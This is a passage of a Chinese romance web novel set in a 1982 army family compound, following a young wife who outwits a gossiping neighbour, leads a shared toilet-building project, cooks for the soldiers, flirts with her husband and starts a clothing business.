“一天天的,就知道搬弄是非,说人家闲话!家里的事儿都做不好!” “你敢打我?” 邱春芳眼睛瞪得滚圆,像一头发怒的母狮子,直接朝着赵毅扑了上去,两人瞬间扭打在一起。 好在没打多久,孩子们放学回来了,这场闹剧才没进一步升级,没造成什么严重后果。 不过,赵毅本就青肿的脸又被邱春芳挠了好几道口子。 邱春芳满心委屈,越想越气,直接把这一切都归咎到周柒柒身上。 在她看来,周柒柒没来之前,赵毅虽说和她也会吵架,但从来不会拿别的嫂子和她作比较,更不会动手。 可周柒柒才来家属院第三天,一切都变了样。 她咬着牙,暗暗下定决心,这次一定要狠狠敲周柒柒一笔. 两百块可不够了,得要两百五十块,好好出出这口恶气! 下午,邱春芳送孩子们出门上学后,又搬着小板凳坐到了门口,眼睛紧紧盯着隔壁,就等着周柒柒出来,找她算账。 然而,她左等右等,等了半天,没等到周柒柒出门。 甚至一直到晚上,隔壁才有了点动静。 “明天...明天她一定会求到我头上来!” 邱春芳在被子里气鼓鼓的,一晚上都没睡好觉。 第二天早上自然而然的就起晚了。 正打着哈欠做早饭呢,却听到外头传来一阵巨大的拖拉机声音。 打开门一瞧—— 第20章 这花法,迟早得把家败光咯! 好家伙,几辆拖拉机浩浩荡荡地朝着他们这排小院开了过来。 上头满满当当地装着红砖、铸铁管、砂子之类的建材。 军属区平日里安静得很,除了部队的采买车,啥时候这么热闹过呀。 一时间,好多军嫂都好奇地围过来看热闹。 很快,拖拉机稳稳地停在了路上,周柒柒满面春风,轻快地打开自家大门,热情地朝着师傅们呼喊。 “师傅们,先进来喝口水吧!” 人群中,一位充满好奇的嫂子忍不住开口问道,“沈家媳妇,你家真要盖厕所了?” 邱春芳那嘴碎的跟棉絮似的,前天晚上,这事儿就传遍军属院了,大家都还将信将疑呢,这回一看,居然是真的。 周柒柒心情极佳,脸上洋溢着灿烂的笑容,喜滋滋地点了点头,说道。 “是啊!今天就正式开工!马上就开始挖管道了,大家路过的时候可得小心点。” 众人一听,眼中顿时流露出羡慕的神色,纷纷投来赞叹的目光。 然而,邱春芳却像是被点燃的火药桶,瞬间不淡定了。 她迈着大步,气势汹汹地走了过去,满脸怒容地质问道。 “周柒柒,你这是什么意思?我可没答应呢!你怎么开工了?” “我告诉你,就算你家男人是团长,可也不能强行挖我家墙根,不然的话,我可以去军委会告你去!” 邱春芳嗓门大,这一嗓子下去,周围的人越聚越多。 今天可是礼拜六,不用上班上学,有的是人出来看热闹。 邱春芳一副受害者的样子,很多就引来大家的议论。 周柒柒看着邱春芳这副模样,又好气又好笑,气得差点笑出声来。 她双手抱在胸前,不慌不忙地反问道,“邱嫂子,我什么时候说要挖你家墙根了?” 邱春芳立马回怼道。 “你不挖我家墙根,你那管道打算怎么铺?难不成还能飞过去?” 两人正你一言我一语地争论着,朱莹莹家的门也“吱呀”一声开了。 朱莹莹平日里不太爱凑热闹,但听到周柒柒的名字,心中一紧,脸微微泛红,还是走了出来,静静地站在了周柒柒身边。 周柒柒见状,亲昵地揽住她的胳膊,满不在乎地白了邱春芳一眼,说道。 “你不同意,可莹莹已经同意了,她家也要盖厕所。” 邱春芳瞪大了眼睛,眼珠子都快掉出来了,满脸的难以置信。 “你要从右边朱莹莹家绕着走?你是不是疯了?这一来一回,可要花一千块啊!” 一千块??? 这个数字立刻在人群中引起了轩然大波。 要知道,大部分军人的津贴都没有沈淮川那么多,而且大家都有一大家子要养活,存款都没有一千块呢。 很快,人群中就有酸溜溜地喊了一句。 “大家都是军嫂,平日里发扬精神,艰苦朴素,日子过得紧巴巴的,凭什么她们就能这么享受,花一千块钱盖茅房和洗澡间!也太铺张浪费了!” “不知道的,还以为她们拉的不是屎,是金子呢!” 周柒柒耳朵尖,记性也好,一下子就认出,这是李红娟的声音。 她这话说得尖酸刻薄,人群中原本羡慕的目光,很快就有一小部分悄然变成了嫉妒和审视,人们开始交头接耳,议论纷纷。 这其实也是人之常情,周柒柒对此倒也没觉得有什么大不了的。 她将目光缓缓转向罪魁祸首邱春芳,嘴角噙着一抹淡定从容的笑意,微微歪头问道。 “邱嫂子,你怎么知道要花一千块?你问过后勤的林主任?你怎么这么爱打听别人家的事儿呢?粪尝完了?” 邱春芳翻了个白眼,和李红娟一唱一和起来。 “我不打听,还不知道有的人,这么铺张浪费呢!” 人群里,不少人也跟着随声附和。 “是啊……一千块钱呢!沈团长津贴再多,也禁不住这么花啊!” “这花法,迟早得把家败光咯!” …… 他们倒并非对周柒柒个人有多大意见,只是一时难以接受这种生活方式,潜意识里替沈淮川感到不值,想要打抱不平。 邱春芳听着众人这么说,心中不免有些得意,挑眉看向周柒柒。 却见周柒柒嘴角笑意不变,镇定自若地看着她,说道。 “我花两百块钱盖个厕所,怎么就铺张浪费了?” 邱春芳撇了撇嘴,满脸不屑,还以为周柒柒是在撒谎。 “两百块?怎么可能?少骗人了!” 周柒柒一脸的从容淡定,不紧不慢地解释道。 “怎么不可能?又不光是我,还有另外好几家,都想盖厕所,我找过他们了,大家一起均摊费用,建材什么的都能打折,算下来,一户只需要两百块。” “不信的话,你可以去问林主任,其中,也包括他们家。” 这两天,她一直全身心地忙活这件事呢。 之前在军区办公室,她就敏锐地看出林主任也想给家里盖厕所。 他家在朱莹莹家后面三排,地势低,要盖的话,需要额外花费不少钱。 等到朱莹莹同意后,当天中午,她就主动找到了林主任,商量着几家一起合盖厕所的事儿。 林主任家里有个七十多岁的老母亲,平时上厕所、洗澡都极为不方便,早就想盖厕所了。 可又舍不得花这么一大笔钱,而且还怕被人说搞特殊化。 这回有了周柒柒牵头,三家一起盖,他立马毫不犹豫地同意了,还带着周柒柒一起去找了两家中间途径的几户人家。 这种小事,大家都是军属,又是邻里邻居的,周柒柒还贴心地拎着罐头、核桃酥等礼品上门,大家自然都纷纷点头同意了。 而且更让人惊喜的是,其中有几家,原本就有盖厕所的想法。 众人坐在一起仔细合计了一下,建筑材料各归各家负责,管道费用几家一起出钱。 其中一家的媳妇胡春晓,就在物资局工作。 这会儿,胡春晓也从人群中走了过来,径直走到了邱春芳面前,为周柒柒作证说。 “不用问了,她说的是真的!我家就在林主任家边上,我家也盖,建材是我找我们厂子里主任批的,内部价,连工带料确实只需要两百块!” 这个价格一公布,周围围观的人瞬间都沉默了。 要说花一千块钱盖厕所,那周柒柒确实应该被批判。 但两百块钱,这可就没什么好挑剔的了。 大家的心情又变回了羡慕嫉妒。 人群中,有个穿着绿色衬衫的军嫂也动起了心思,她满脸期待地走上前询问道。 “两百块?两百块就能盖一个厕所?那能不能带上我们家啊?我家就在那边……” 周柒柒看着她手指的方向,笑着摇了摇头。 “你家在左边下面,本来邱婶子要是同意的话,管道本来就会经过你家,都不用你花管道钱,我一起就都出了,你就光出个料钱,可能都用不了两百块呢!” 说着,她有些抱歉地吐了吐舌头,似笑非笑地看了一眼邱春芳,才又继续道。 “可惜现在我们绕右边,走的是另外一条污水管,和你家就不挨着了。你要盖只能自己想办法,不好意思啦!” 自己盖可不是一笔小数目,那位绿色衬衫的军嫂顿时觉得心在滴血。 她怨恨地看了一眼邱春芳,不大不小地骂了一句,“搅合精!” 其他围观的人,这会儿也咂摸出味儿了。 邱春芳昨天一整天都在院门口坐着,时不时眼巴巴地看着周柒柒家的方向,大家伙都看在眼里。 估计她是在等着周柒柒去求她呢,没想到,人家压根儿就没搭理她。 而且,人家绕着她家走另外一边,不仅成功解决了问题,还更便宜了! 这邱春芳,纯粹是损人不利己。 绿色衬衫军嫂联合周边的几家嫂子,正聚在一起,对着邱春芳家指指点点,满脸的不满。 而其他围观的军嫂,则纷纷对周柒柒竖起了大拇指,夸赞起来。 “沈团长这新媳妇可真厉害,能省会花,精打细算!” “是啊,嘴皮子利索,人还长得漂亮,就得这样的,才能降伏咱们军区的活阎王!” ...... 胡春晓也是这么认为的。 她就是前几天在大院中间,好奇地问什么时候能看看两位“狐狸精”的那个年轻军嫂。 之前她听信了谣言,但昨天实际接触下来,发现周柒柒为人和善,很好相处,当场就向周柒柒道歉了。 这会儿她大大方方地走向周柒柒,关切地问道。 “行了,那我也回家了,我家那边,请了两个工人,准备开工了,你家没请工人,这活儿都谁干啊?” “诺,这不就来了!” 周柒柒笑着伸出手指,指向远处。 只见一排英姿飒爽的兵哥哥正迈着整齐有力的步伐,跑步向着她家的方向跑来。 第21章 犒劳兵哥哥 胡春晓一拍脑门,恍然大悟道。 “我怎么把这茬给忘了,你男人和莹莹男人都是团长,手底下可有的是兵!” 她丈夫在军区担任科研干部,手底下没有可以抽调帮忙干活的人手,无奈之下,只能自己花钱请工人。 为了节省开支,她只请了两个工人。 再瞧瞧周柒柒和朱莹莹这边,好家伙,一下子就来了十七八个朝气蓬勃的大小伙子,心里羡慕得不行。 这情况,周柒柒早就想到了,笑道。 “这事儿,我昨晚就和淮川商量过了,我们这边人多,估计下午就完工了,到时候我们这边的活儿干完了,就去你们几家那边搭把手,帮着一起干。” 胡春晓眼睛一亮,也没假意推辞,爽快地说道。 “那感情好!我家还有两条别人送的牡丹烟,到时候发给兄弟们!” “行啊!” 周柒柒也点了点头。 沈淮川不抽烟,她都忘了这茬了,没提前准备烟来犒劳这群兵哥哥。 幸好胡春晓提起来了。 这些兵哥哥虽然是沈淮川的手下,但是帮自己家干活,当然不能亏待了。 虽然没买烟,但她却买了不少肉,准备今天做两顿大餐。 她要的量大,供销社那边买不到,找了林处长帮忙。 林处长可是主管后勤的,这对他来说完全不是事儿。 直接帮忙联系了给军区食堂供应食材的肉联厂。 这不,两人说话的间隙,又一辆载满了食材的小货车朝着这边开了过来。 上头新鲜的大排骨,又让周围看热闹的人眼馋了起来。 有一小部分人酸溜溜的,说周柒柒花钱大手大脚。 不过周柒柒可没空再管那些人,赶忙让人把食材全部搬下来,准备开始忙活着做饭。 这么多人干活,午饭可得安排妥当。 早上她实在起不来那么早,偷了个懒,让沈淮川先带着大伙去食堂吃了顿早饭,这中午可不能再对付了。 今天做饭的地儿在莹莹家,她家除了有个烧煤的炉灶,还有一个王团长亲手砌的柴火大灶,而且锅碗瓢盆一应俱全,就连菜刀都有好几把。 这也许就是所谓的差生文具多? 她也是昨天才知道,朱莹莹居然不会做饭。 虽然她一直在努力学习,但是在做饭事儿上,就是没什么天赋。 平时她们家吃饭,大部分都是王铁军从食堂带回来的。 这次盖厕所,王铁军也从自己团里调来了七八个人。 周柒柒大手一挥,直接把这些人的伙食一并包了。 这会儿工夫,沈淮川已经雷厉风行地带着人热火朝天地干开了。 工匠师傅已经仔细量好了尺寸,十几个小伙子脱掉上衣,穿着背心,干劲十足地忙碌起来。 周柒柒也迅速系上围裙,手脚麻利地在厨房开干。 今天中午她准备做个四菜一汤。 红烧肉,锅包肉,清炒莴笋丝,凉拌木耳腐竹,还有一道排骨玉米汤。 两荤两素一汤,数量适中,有甜有咸,她也不至于累得够呛。 红烧肉最费时间,得慢慢炖,炖够火候才软烂入味。 所以周柒柒一迈进厨房,便先把猪肉切成大小均匀的方块。 在这个年代,外国的白皮猪还没大规模引进到国内,肉联厂里收购的大多是乡下收来的土猪。 这些土猪平日里吃的都是红薯藤、玉米等天然饲料,肉质鲜美,闻起来不但没有丝毫怪味,反而散发着一股淡淡的清香。 都不用像普通猪肉那样焯水去腥,直接在水龙头下简单冲洗一番,就可以放进锅里开始煎制。 全程小火慢煎,没一会儿,肉里的油就滋滋冒出来了,表面煎得微微泛黄,这就成了,再煎下去肉就硬了。 接着就是炒糖色,这一步周柒柒熟门熟路,也不用把肉盛出来,直接把肉扒拉到一边,一边炒糖,一边给肉裹上漂亮的颜色。 这么炒出来的肉块,油润红亮,看着就让人直咽口水。 紧接着,下香料、倒热水,盖上锅盖慢慢炖着,暂时不用管了。 另一边,玉米排骨简单,食材处理过就可以下锅煮了。 周柒柒手脚麻利,又开始准备做锅包肉。 这菜是她之前冬天去哈尔滨玩的时候,跟当地一个热情大姨学的。 别看这道菜工序看着复杂繁琐,实际上掌握了窍门,做起来并不难。 关键就在于把肉片切得薄厚均匀,浆裹得恰到好处,这两步做好,这道菜就成功一半了。 淀粉水提前用清水泡半个小时,然后把水倒掉,就成了像酸奶一样浓稠的粉浆。 把腌好的肉片放进去,轻轻一裹,那手感滑溜溜的,又带着点劲道,还挺解压。 肉片裹好粉浆后,再撒上一层薄薄的干淀粉,就可以下锅炸了。 这会儿,厨房里红烧肉的香味慢慢飘了出来,混合着炸肉片的香气,直往人鼻子里钻。 院子里干活的兵哥哥们时不时就忍不住往厨房这边瞅。 在一旁帮忙洗菜的朱莹莹也忍不住嘟囔,“好香啊!” 就连在旁边乖乖剥花生的舟舟,小鼻子也不经意地耸了耸。 周柒柒看到这一幕,心里涌起一阵暖意。 相处这几天,舟舟一直都安安静静的,很少表达自己的情绪,她还以为舟舟已经不太会表达自己的感受了。 没想到,在美食的诱惑下,舟舟还是有感觉的嘛! 这也不枉费她做饭的时候,总是格外考虑舟舟的口味。 这肉片炸一遍已经熟了,不过还得再复炸一次,才能口感酥脆,最后还要挂酸甜可口的糖醋汁。 这会儿红烧肉已经炖得差不多了,清炒莴笋丝、凉拌木耳腐竹等素菜也都准备得七七八八,米饭还在锅里闷好了。 周柒柒想着出去看一眼工程进度。 这不看不知道,一看吓一跳。 好家伙,这才短短三个小时,厕所已经盖得有模有样,差不多快完工了,洗澡间也已经打好了地基。 外头挖管道的坑也差不多挖好了,正在有条不紊地铺设着铸铁管。 这进度,比她想象的要快太多了,她不禁由衷感叹道,“大家干活儿也太积极了!” 秦磊那小子不知道什么时候摸过来了,立马接过话茬道。 “能不积极嘛?我可早就跟他们说了,嫂子是田螺仙女下凡!做饭可好吃了!” “昨天团长去挑人的时候,一个个都争着抢着要来,好不容易竞争上了,肯定要积极表现啊!” 这小子说话的时候,眼睛一直偷偷瞄着厨房,不停地咽着口水,眼巴巴地问道。 “嫂子,你做的啥好吃的啊?怎么这么香?!我隔着老远都被这香味勾得受不了了!” “你小子,别人都在外面辛辛苦苦地干活,就你在这儿偷懒是吧?” 周柒柒佯装生气地说道。 她可早就看到这小子好几次鬼鬼祟祟、贼头贼脑地往这边看了。 秦磊黝黑的脸瞬间一红,赶忙摆手解释道。 “不是不是,嫂子,是兄弟们实在太馋了,派我过来打探打探情报,问问什么时候开饭……” 周柒柒看着秦磊累得满头大汗,身上到处都是灰尘和泥土,也不忍心再为难他,笑着说道。 “行,那我现在就去复炸肉片,你赶紧通知大家,十五分钟后准时开饭!” “嫂子万岁!” 秦磊一听,大声欢呼起来,撒腿就跑,去通知其他人这个好消息了…… 第22章 刚洗完澡的沈淮川 外头瞬间爆发出一阵排山倒海的欢呼声。 不过别看这些兵哥哥喊得大声,打饭的时候,却立刻恢复了军人本色,纪律分明,一个个端着自己的饭缸乖乖排队。 跟小学生一样,红着脸一口一个“谢谢嫂子。” 真是可爱的不得了。 周柒柒看着这些比自己小不了几岁的面孔,仿佛看到了邻家弟弟,舀饭的手稳如泰山,盛起的红烧肉堆的冒尖,肉块颤巍巍地几乎要掉下来。 这顿丰盛的午餐过后,每个人都吃得红光满面,嘴角还沾着油星子,连说话都带着满足的笑意。 周柒柒一刻也没停歇,立刻架起大锅开始熬煮羊肉。 还和朱莹莹一起和了好多面。 下午,她打算让大家吃羊肉汤,配上自己烙的饦饦馍。 这种陕西特色面食,口感劲道耐嚼,泡在鲜香的羊汤里吸饱汤汁,却依然保持着弹牙的嚼劲,是羊肉泡馍的绝佳搭档。 兵哥哥们干得也很起劲。 下午三点,周柒柒和朱莹莹家里的厕所和洗澡间就都盖好了,管道也都铺好了。 沈淮川一声令下,众人又马不停蹄地奔赴其他几家帮忙。 他们只盖厕所,工程量稍小,忙活到了七点多,所有工作圆满收尾。 胡春晓家给兵哥哥们一人发了两包牡丹烟。 这种高档香烟在市面上要五毛钱一包,比他们平日里抽的黄金叶、大前门贵了整整一倍。 小伙子们捧着香烟,脸上笑开了花。 林处长媳妇和其他两家没提前准备东西,还有点不好意思。 商量着,一起拿了十块钱过来,说是让沈淮川给他们分了当工钱。 沈淮川正和兵哥哥们一起吃着羊肉泡,直接摇了摇头,表示拒绝,冷冷说了一声。 “不用。” 他冷着个脸,没什么表情,跟座冰山似的,靠近他,空气就冷了好几度。 几个嫂子看着就有点心慌,也不敢跟他再多说话,又想塞钱给那些兵哥哥,他们也不要。 无奈之下,嫂子们只好把希望寄托在周柒柒身上,林处长媳妇率先开口。 “这钱你一定得拿着,不光是谢他们,更得谢谢你啊!要不是你牵头,这厕所还不知道得拖到啥时候!” “真不用!咱们都是抬头不见低头见的邻居,这点小事儿,提钱可就生分了!” 周柒柒赶忙摆摆手,眉眼弯弯地笑道。 见嫂子们有点为难,她眼珠子一转,俏皮地眨了眨眼,一脸神秘莫测道。 “比起钱,我倒想要些贵重的谢礼!” 嫂子们面面相觑,心里都“咯噔”一声,异口同声问道:“什么?” 周柒柒憋着一脸坏笑,认真道。 “林嫂子,你家后院的菜长得水灵,能不能分我点菜籽?王嫂子,你家的花开得那么艳,剪两枝给我养养?还有邓嫂子,你家晾的老丝瓜看着真好,给我两个刷碗呗!” “我这刚来随军没几天,家里院子空落落的,都没个家的样子,正急缺这些呢!” 嫂子们一听她要的是这些,顿时松了一口气,都笑了,“这有啥不行的!” 晒了一院子老丝瓜的邓嫂子,更是笑得爽朗。 “妹子,我还以为多大事儿呢!我家那些玩意儿,除了我男人,你看上啥尽管拿!” 林处长媳妇打趣道,“哟,邓翠香,说什么呢!人家有沈团长,哪能看上你家那位!” 邓嫂子赶紧打了打自己的嘴。 “瞧我这嘴!说错了说错了!不是除了我男人,而是包括我男人,你看上啥,统统都送你!” “合着你早就想把你男人扫地出门啦?” “哈哈,被你们看出来啦?” 欢声笑语中,连生性害羞的朱莹莹都笑得直不起腰,院子里洋溢着融融暖意。 周柒柒看着眼前的场景,心里满是感慨。 原来军属院里,像邱春芳、李红娟那样的只是少数,善良热心的人还是占了大多数。 众人又闲聊了片刻,眼见暮色渐浓,才依依不舍地道别。 反正都住得不远,以后可以随时串门。 送走邻居们的工夫,兵哥哥们也整队返回部队。 这洗澡间晾了好几个小时,已经可以用了。 周柒柒正打算烧水洗澡,却发现沈淮川不知道什么时候,已经把热水烧好了。 这个男人,虽然不怎么说话,但意外的,还挺贴心。 她也不矫情,甜甜地道了声谢,抱着换洗衣物,脚步轻快地迈向洗澡间。 来到部队已经好几天了,还没正经洗过澡呢,浑身黏腻的难受。 热水淋在身上的那一刻,所有疲惫仿佛都随着水流一同冲走。 她惬意地喟叹一声,感觉自己总算是“活”过来了。 洗完澡后,趁着洗澡间还弥漫着腾腾热气,她赶紧把舟舟喊了进来。 九月的晚风已经带着丝丝凉意,稍不注意就容易着凉。 看着舟舟进去,周柒柒去拿了盆来,把自己换洗的衣服泡了泡,正准备洗呢。 却见舟舟却已经洗完出来,准备回房间了。 这还没到五分钟呢? 周柒柒赶忙把孩子拉住,问道,“你这就洗完了?” 舟舟懵懵懂懂地点了点头,一双洋娃娃一样的大眼睛眨巴着,看起来无辜极了。 周柒柒拉着她仔细瞧了瞧,皮肤干干瑟瑟的,头发也一缕一缕的,浑身散发着一股子刺鼻的肥皂味。 “咱们是女孩子,洗澡可不能这么对付!洗头要用洗发水,身上得打香皂,别学你叔叔,一块肥皂走天下!” 到底还是小孩子,被这么一说,脸蛋瞬间就红了,显得有些窘迫。 周柒柒心尖一颤,虽然她不喜欢帮别人带孩子,但是也不忍心这孩子遭受她从前遭受过的窘迫。 无奈地叹了口气道,“算了,我帮你洗。” 但还特意强调了一下。 “不过就这一次啊,你学着点,以后自己洗。” 给舟舟编辫子时,周柒柒就发现她的头发干枯得像稻草。 此刻她耐心地将洗发水揉出绵密的泡沫,一点点按摩头皮,又仔细冲洗干净。 用干毛巾轻柔地吸干水分后,再慢慢梳理打结的发丝。 等忙完,都已经是半个小时之后了。 送舟舟回房间,再回到洗澡间门口,准备洗衣服的时候,却发现门口放着她脏衣服的盆不见了。 她还以为自己顺手给拿到洗澡间去了。 顺手就推开门走了进去。 却没想到,迎面看到的,是刚洗完澡的沈淮川! 沈淮川正抬手将浴巾巾甩向颈后,昏黄灯光在他绷紧的胸腹投下深深浅浅的沟壑。 水珠顺着八块分明的腹肌滚落,在肚脐处汇成晶亮的一滴,堪堪悬在腰身上。 然后顺着人鱼线,没入巨大的阴影中。 周柒柒听见自己喉咙里"咕咚"一声响。 犹豫着要不要接着往下看—— 第23章 准备做生意 却听啪~的一声,灯泡灯丝熄灭,黑暗如潮水般瞬间吞没了整个洗澡间。 蒸腾的热气在黑暗中翻涌,周柒柒睫毛轻颤,咬着唇瓣嘟囔。 “偏偏挑这个时候停电,关键的还没瞧见呢......” 话音未落,沈淮川带着肥皂味的体温笼过来,修长的手指越过她肩头。 湿漉漉的发梢甩出一滴水珠,不偏不倚地落在她的手背上,冰冰凉凉的触感让她忍不住轻颤了一下。 “你头...” 沈淮川低沉的嗓音在黑暗中响起,带着若有似无的沙哑。 “没偷看!绝对没偷看!” 周柒柒几乎是条件反射的尖叫起来,被热气熏得发红的耳尖此刻仿佛要滴出血来。 “我装脏衣服的盆不见了,我是来找盆的!你千万别误会了...” 她的声音越来越小,尾音里带着连自己都没察觉的软糯。 头顶突然传来一声轻笑,像是被强行压抑的电流,震得周柒柒耳尖发麻。 “没误会,”沈淮川刻意放缓的语调里藏着几分捉弄,“我只是让你让让。” 周柒柒下意识抬头看去,只见她头顶的晾衣绳上,正挂着沈淮川的衣服。 她慌忙侧身避让,余光瞥见洗漱台上的小搪瓷盆,可不就是她正在找的那个! 可走近一瞧,盆里空荡荡的,原本泡着的衣服没了。 “我衣服呢?” 她急得跺脚,转身时不小心撞进一片温热的胸膛。 沈淮川垂眸看着她,喉结不自然地滚动了一下,耳尖泛着可疑的红。 “我都洗了,晾在后院晾衣绳上。” 周柒柒瞪大了眼睛,满脸的难以置信。 她顾不上其他,转身就往外面跑去。 看到那熟悉的粉色内衣在风中轻轻晃动,顿时觉得一股热流“腾”地涌上头顶,又羞又恼地跑回屋子里,对着沈淮川小发雷霆。 “你怎么不问问我就洗了,这么爱洗衣服,那以后家里衣服,全都归你洗好了!” “好。” 沈淮川答得干脆,漆黑的眼眸里闪过一丝笑意。 这家伙,听不出好赖话呢! 周柒柒气得直磨牙,突然瞥见他通红的耳尖,憋了坏主意。 凑到他耳边拖着尾音,娇声娇气地说了一句,“谢谢老公。” “咳咳咳...” 正喝水的沈淮川猝不及防,呛得剧烈咳嗽起来。 透明的水珠顺着下颌线滑落,打湿了胸前的背心。 周柒柒看着他手忙脚乱的模样,忍不住捂着嘴偷笑。 递毛巾时,她的目光突然被沈淮川背上一道狰狞的青紫吸引。 那痕迹在小麦色的肌肤上触目惊心,像是刚结痂的伤口。 “这是怎么弄的?” 她的指尖轻轻抚过那道伤痕,声音不自觉地放柔。 “一点小伤,没事。” 沈淮川轻描淡写地说道。 下午干活时,一个排长搬管子不小心脚滑,眼看就要被砸到,他想都没想就冲过去推开了排长,自己却躲避不及,硬生生挨了一下。 “怎么不早说?要嘴巴干嘛用的?” 周柒柒眼眶发热,佯装生气地拍了拍他后背,转身就去翻医药箱。 那么一大片伤口,上药的时候,沈淮川一声都没坑。 上完药,就从柜子里拿出了被褥,准备打地铺。 “睡床上!” 周柒柒一把抢过被褥,用力铺在床上,还用腿压住被角。 “地上又潮又硬,受了伤还打地铺,不要命了?” 沈淮川盯着她泛红的眼角,喉结滚动了一下,顺从地躺了上去。 床板发出细微的“吱呀”声,在寂静的夜里格外清晰。 两人背对背躺着,空气中弥漫着暧昧的紧张。 “对了,上次任务的奖金下来了。” 沈淮川率先打破沉默,声音里带着不易察觉的温柔。 “明天给你,去城里买几件新衣服。” 他刚才洗衣服的时候发现,她就一件红色波点裙子能看,其他的衣服都旧得不行了,打了不少补丁。 这话可是说到周柒柒心坎里去了,她眼睛一亮,猛地翻身,发丝扫过他的手臂。 “哎呀,我正想和你说这事儿呢!” “我想支个小摊,做点服装方面的小生意,你觉得行不行?” 现在,她已经大致习惯了军属区的生活,厕所、洗澡间也都盖好了,方便了不少。 洗澡的时候,她就在盘算着,是时候找点事情做了。 上辈子,她大学学的是服装设计专业,一直想着能把专业知识派上用场。 前几天她从火车站出来的时候,看到有几个小摊贩摆摊卖东西,并没有被驱赶,可见他们G市政策相对还是比较宽松的。 沈淮川望着她神采飞扬的侧脸,心跳不自觉地漏了一拍。 他几乎没有犹豫:“行,都随你。钱不够和我说。” 周柒柒心里涌上一股暖流,却还是摇了摇头。 “哎呀,用不着家里的钱,我自己有一百块,做启动资金足够了!如果赔了,我再跟你打借条。” 在她心里,即便和沈淮川结了婚,经济上也一定要保持独立,这是属于她自己的事业,不能和家里的钱混为一谈。 沈淮川听了这话,身子微微一僵,也不知道在想些什么。 而周柒柒背对着他,沉浸在自己的计划里,滔滔不绝地说着。 “火车站那边有个服装批发市场,明天一早,我就搭采购车过去。 除了批发衣服,我还想批发点布料,试着自己做衣服,莹莹家就有缝纫机呢! 不过可惜,明天她有事不能跟我一起去,大周日的,也不知道要忙些什么。 啊,对了,周日,舟舟也不用上学,她...” 说到舟舟,她犹豫了一下,咬了咬下唇。 沈淮川接话道,“舟舟也到时间去治疗了,明天我去军区前,把她送过去。” 柒柒几乎是立刻坐起身来,被褥摩擦发出窸窣声响。 “要不先别去了,明天我带她一起进城逛逛,我一个人去怪孤单的,你看行不行?” “嗯,随你。” 沈淮川沉默了一下,轻轻点了点头。 针灸治疗的事情,他本来就不怎么赞成,是父母一再坚持,他才勉强答应的。 治疗了这么久,也没什么疗效。 不去就不去了吧。 但他明天要去军区开会,确实没办法照顾舟舟。 至于周主任那边,上次闹了点不愉快,也不好再送过去。 “那我明天让石头去团部借部车,送你们过去。” “那太好了!那我多买点!” 柒柒心满意足地躺了下去,声音里带着藏不住的期待,还混着困意的鼻音。 “你是不知道,那些衣服没一件能穿的,唯一那件红裙子,还是许树她妈为了他儿子结婚体面点,咬着牙给我买......” 她的声音越来越低,渐渐和着夜风变成断断续续的呓语。 沈淮川静静听着,等了许久都没再听到下文,却突然传来一声轻浅的呼噜。 他微怔,借着月光望去,只见她歪着脑袋,发丝凌乱地散在枕头上,嘴角还挂着没说完话的弧度。 他眼底的冷硬瞬间和紧锁的眉头瞬间变得柔软,轻轻帮她拉了拉被子,然后轻手轻脚的下了床。 直奔后院那件随风飘荡的红裙子。 第24章 进货 “我裙子呢???” 第二天一早,周柒柒准备换衣服出门时,看着后院空空荡荡的晾衣绳,发出了震天的怒吼。 昨天晚上她还瞧见那件红裙子在绳子上晃荡呢,怎么今天就不见了? 那可是她唯一一件新衣服啊! 沈淮川打了个喷嚏,若无其事道,“昨晚风大,可能吹跑了吧。” 说着就将十张大团结塞到了周柒柒手里,“没事,没了就再买。” “风...大吗?” 周柒柒看着边上还好端端挂在绳子上的粉色内衣,粉唇微嘟,陷入思考当中。 正琢磨着呢,院门外突然传来汽车喇叭声,是秦磊来接人了。 “算了,反正今天也不穿那件。” 她向来不喜欢让人久等,也顾不上深究,匆匆回屋灌下半杯羊奶,挎着帆布包,拎起舟舟就往车上钻。 坐上车,她先跟秦磊道了谢。 “石头,麻烦你了!” 今天是周日,他本来是可以在部队里休息的,结果还得来给她当司机。 秦磊咧嘴一笑,露出两颗虎牙。 “嫂子可别说这话!在部队待着也没事儿,我巴不得跟着你进城逛逛呢!” “那就好!” 周柒柒悬着的心落了地,坐回座位。 敏锐地发现舟舟似乎在发抖,视线还一直看着自家小院的方向。 她赶忙问道,“舟舟,你怎么了?” 舟舟不会说话,大眼睛里带着一丝怯意,只是摇了摇头,小拳头拽紧衣角。 周柒柒看她手里还抓着书包,拎过来一看,里面装着换洗的衣服,还有牙刷什么的。 “咱们去城里玩,你带这些做什么?” 舟舟猛地抬头,眼睛里满是不可置信。 “沈淮川没告诉你吗?” 舟舟: (;>人<)(>人<;) “这家伙,心真糙...” 柒柒撇了撇嘴,有些无语。 “今天你叔叔没空带你,我去城里逛街,你当我的小跟班,帮我拎包。” 舟舟听懂了,这是不去针灸了,紧张的情绪瞬间就放松了下来,轻轻点了点头。 看来舟舟也不喜欢去针灸啊! 周柒柒心里有了计较,也不再多说什么,从口袋里摸出一颗水果糖塞给她。 “这是胡春晓阿姨给我的,我不爱吃,扔了怪可惜的。” 很快,三人就到了市区,直奔火车站附近的服装批发市场。 1982年,改革开放才刚刚拉开序幕,整个商业环境还带着几分青涩,远称不上发达。 G市作为北方一座中型城市,就这么一个服装批发市场,周边镇子的人都巴巴地赶来这儿进货。 但规模却算不上大,拢共也就十七八个档口。 今儿个恰逢周日,来进货的人那叫一个摩肩接踵,热闹得很。 周柒柒领着舟舟在几家档口逛了逛,只见那货架上挂着的衣服,款式单一得可怜。 上衣净是些各式各样的蝙蝠袖、尖领收腰的的确良衬衣; 裤子呢,清一色的港风喇叭裤,不是蓝色就是黑色; 裙子大多是碎花的太阳裙,带着泡泡袖和方领,瞧着千篇一律。 她带着舟舟在一旁默默观察了一阵儿,发现来进货的人,十有八九都在挑蝙蝠袖衬衣和喇叭裤。 这两样在当下那可是时髦的紧,走在街上,十个里头的有八个穿着这一套,简直成了街头标配。 等把款式琢磨得差不多了,周柒柒又开始打量起各个档口来。 一番比较后,她最终将目光锁定在了两家生意最为火爆的档口上,巧的是,这两家正好面对面。 这挑批发档口啊,就跟选饭店吃饭一个理儿,都得去人多的地方。 人多的饭店,饭菜不一定就合口味,但要是冷冷清清没人去的,那味道指定不咋得。 同理,这批发档口,人多的地方价格未必是最便宜的。 可人少的档口,你要是贸贸然进去,那可不就跟待宰的肥羊没啥两样嘛。 左思右想之后,周柒柒选定了左边那家档口。 